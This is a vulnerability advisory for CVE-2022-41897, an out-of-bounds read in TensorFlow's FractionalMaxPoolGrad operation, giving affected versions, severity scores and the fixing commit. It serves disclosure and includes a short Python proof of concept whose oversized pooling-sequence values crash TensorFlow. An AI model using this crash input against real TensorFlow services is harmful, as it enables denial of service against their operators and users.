CVE-2022-41897 – tensorflow

Package

Manager: pip
Name: tensorflow
Vulnerable Version: >=0 <2.8.4 || >=2.9.0 <2.9.3 || >=2.10.0 <2.10.1

Severity

Level: Medium

CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS: 0.00108 pctl0.29713

Details

`FractionalMaxPoolGrad` Heap out of bounds read ### Impact If [`FractionMaxPoolGrad`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/fractional_max_pool_op.cc) is given outsize inputs `row_pooling_sequence` and `col_pooling_sequence`, TensorFlow will crash. ```python import tensorflow as tf tf.raw_ops.FractionMaxPoolGrad( orig_input = [[[[1, 1, 1, 1, 1]]]], orig_output = [[[[1, 1, 1]]]], out_backprop = [[[[3], [3], [6]]]], row_pooling_sequence = [-0x4000000, 1, 1], col_pooling_sequence = [-0x4000000, 1, 1], overlapping = False ) ``` ### Patches We have patched the issue in GitHub commit [d71090c3e5ca325bdf4b02eb236cfb3ee823e927](https://github.com/tensorflow/tensorflow/commit/d71090c3e5ca325bdf4b02eb236cfb3ee823e927). The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Vul AI.

Metadata

Created: 2022-11-21T21:54:04Z
Modified: 2022-11-21T21:54:04Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/11/GHSA-f2w8-jw48-fr7j/GHSA-f2w8-jw48-fr7j.json
CWE IDs: ["CWE-125"]
Alternative ID: GHSA-f2w8-jw48-fr7j
Finding: F111
Auto approve: 1